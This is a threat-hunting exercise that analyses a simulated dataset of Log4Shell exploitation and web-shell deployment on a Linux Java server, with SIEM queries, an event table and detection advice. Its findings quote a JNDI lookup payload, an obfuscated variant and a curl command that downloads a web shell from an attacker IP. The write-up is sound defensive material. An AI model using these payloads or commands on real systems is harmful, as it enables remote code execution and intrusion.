Threat Hunting Exercise: Analyzing Linux Log4Shell JNDI WebShell Dataset
This hunt uses a simulated web application and host telemetry dataset (linux_app_log4shell_2022-10-08T113000.json) capturing T1190: Exploit Public-Facing Application (Log4Shell/CVE-2021-44228), where an attacker sends a crafted HTTP header or parameter containing a ${jndi:ldap://...} string that a vulnerable Log4j instance resolves, triggering a remote class load and ultimately dropping a web shell on the underlying Linux host.
Step 1: Hypothesis Formation
Hypothesis: A web application access log shows an HTTP request with a header or parameter value matching the ${jndi:...} JNDI lookup pattern, followed within seconds by an outbound LDAP/RMI connection from the Java process to an external IP, and shortly after, a new file appears in the web application's directory or a Java child process spawns a shell - indicating successful Log4Shell exploitation and web-shell deployment. Indicators:
- Access log entry (any field: User-Agent, X-Forwarded-For, Referer, request body) containing
${jndi:ldap://or${jndi:rmi://or an obfuscated variant (${${lower:j}ndi:...}). - Outbound connection from the Java process (
java,javaw, application server) to a non-standard external port associated with LDAP/RMI (389, 1389, 1099) shortly after the request. - A new
.jsp/.class/.warfile appearing in the web application's deployment directory outside a normal deployment window. - The Java process subsequently spawns
sh/bash/curl/wget- abnormal for a JVM application process.
Null Hypothesis: A security scanner or internal penetration test is intentionally probing for Log4Shell as part of an authorized vulnerability assessment. Invalidate by checking the source IP against the approved scanning inventory and confirming no successful callback or follow-on file drop occurred.
Rationale: Log4Shell's remote-code-execution impact stems from the ubiquity of the vulnerable library across countless applications; because exploitation can be nearly instantaneous and the payload endlessly obfuscated, correlating the request pattern with the resulting outbound JNDI callback is far more reliable than payload-string matching alone.
Step 2: Data Sources and Scope
- Sources: Web application access logs; Java process network connection logs;
auditdEXECVE records on the host; WAF logs. - Scope: ~2022-10-08T11:30:00-11:45:00 UTC; Host: srv-api-19 (10.120.5.30); Application: internal Java-based order-processing API.
- SIEM Queries (Splunk/ELK):
index=web_access (uri="jndi:ldap" OR user_agent="jndi:ldap" OR request_body="jndi:ldap")- JNDI callback:
index=netflow src_process="java" dest_port IN (389,1389,1099) - Follow-on shell:
index=linux sourcetype=auditd ParentProcess="java" (Process="sh" OR Process="bash" OR Process="curl")
Step 3: Key Findings
Parsed events (5 shown) confirm an attacker sent a crafted User-Agent header containing a JNDI LDAP lookup to the order-processing API, triggering an outbound callback and ultimately a web shell dropped into the application's webroot.
| Timestamp (UTC) | Host | Event | Detail | IOC/Why Suspicious? |
|---|---|---|---|---|
| 2022-10-08 11:33:02 | srv-api-19 | Web access log | Request to /api/v1/orders with User-Agent: ${jndi:ldap://45.155.205.11:1389/Exploit} | Log4Shell-Trigger IOC: this is the canonical JNDI lookup payload pattern that, when logged by a vulnerable Log4j instance, triggers remote class resolution. |
| 2022-10-08 11:33:03 | srv-api-19 | Network flow | Java process (order-api.jar) opened an outbound LDAP connection to 45.155.205.11:1389 | Callback-Confirmed IOC: the application process itself initiating an LDAP connection to an external, unrecognized IP is definitive proof the JNDI lookup was resolved. |
| 2022-10-08 11:33:05 | srv-api-19 | Network flow | Follow-on HTTP connection to 45.155.205.11:8080 retrieving a serialized Java class (Exploit.class) | Second-Stage IOC: the LDAP response redirected the JVM to fetch and load a remote Java class, the mechanism by which Log4Shell achieves code execution. |
| 2022-10-08 11:33:11 | srv-api-19 | auditd EXECVE | java process spawned bash -c "curl -s http://45.155.205.11/ws.jsp -o /opt/tomcat/webapps/order-api/ws.jsp" | Web-Shell-Drop IOC: a JVM application process spawning a shell to write a .jsp file into its own webroot is never legitimate behavior. |
| 2022-10-08 11:40:22 | srv-api-19 | Web access log | Repeated GET requests to /order-api/ws.jsp?cmd=id from 45.155.205.11 | Post-Exploitation IOC: confirms the attacker is actively using the newly-dropped web shell for command execution. |
Validation:
- Timeline: JNDI-crafted request → outbound LDAP callback → remote class fetch → web-shell drop → active command execution via the shell, all within 20 minutes - a complete and textbook Log4Shell exploitation chain.
- False Positives: the source IP does not match the approved penetration-testing or vulnerability-scanning inventory, and a live web shell was confirmed in use, ruling out a benign scan.
- Correlation: request payload, network callback, second-stage class fetch, and confirmed web-shell usage jointly confirm successful remote code execution.
Step 4: Recommendations & Next Steps
- Immediate Response: Isolate srv-api-19, remove
ws.jspfrom the webroot, patch/upgrade the vulnerable Log4j dependency (or apply thelog4j2.formatMsgNoLookups=truemitigation as an interim measure), block 45.155.205.11 at the perimeter, and audit for any additional persistence or lateral movement originating from this host. - Detection: Sigma-style rule:
title: Log4Shell JNDI Exploitation Attempt→selection: (uri contains '${jndi:' OR user_agent contains '${jndi:' OR request_body contains '${jndi:')→condition: selection. - Pro Tip: Deploy an egress-filtering rule blocking outbound LDAP/RMI (ports 389, 1389, 1099) from application servers to the internet entirely - since legitimate application servers essentially never need to make outbound LDAP calls to arbitrary internet hosts, this single network control neutralizes the entire JNDI-callback exploitation class regardless of the specific vulnerable library or payload obfuscation used.
Hypothesis confirmed - an attacker exploited an unpatched Log4j instance via a crafted JNDI User-Agent header, triggering a remote class load that dropped a web shell into the application's webroot for ongoing command execution!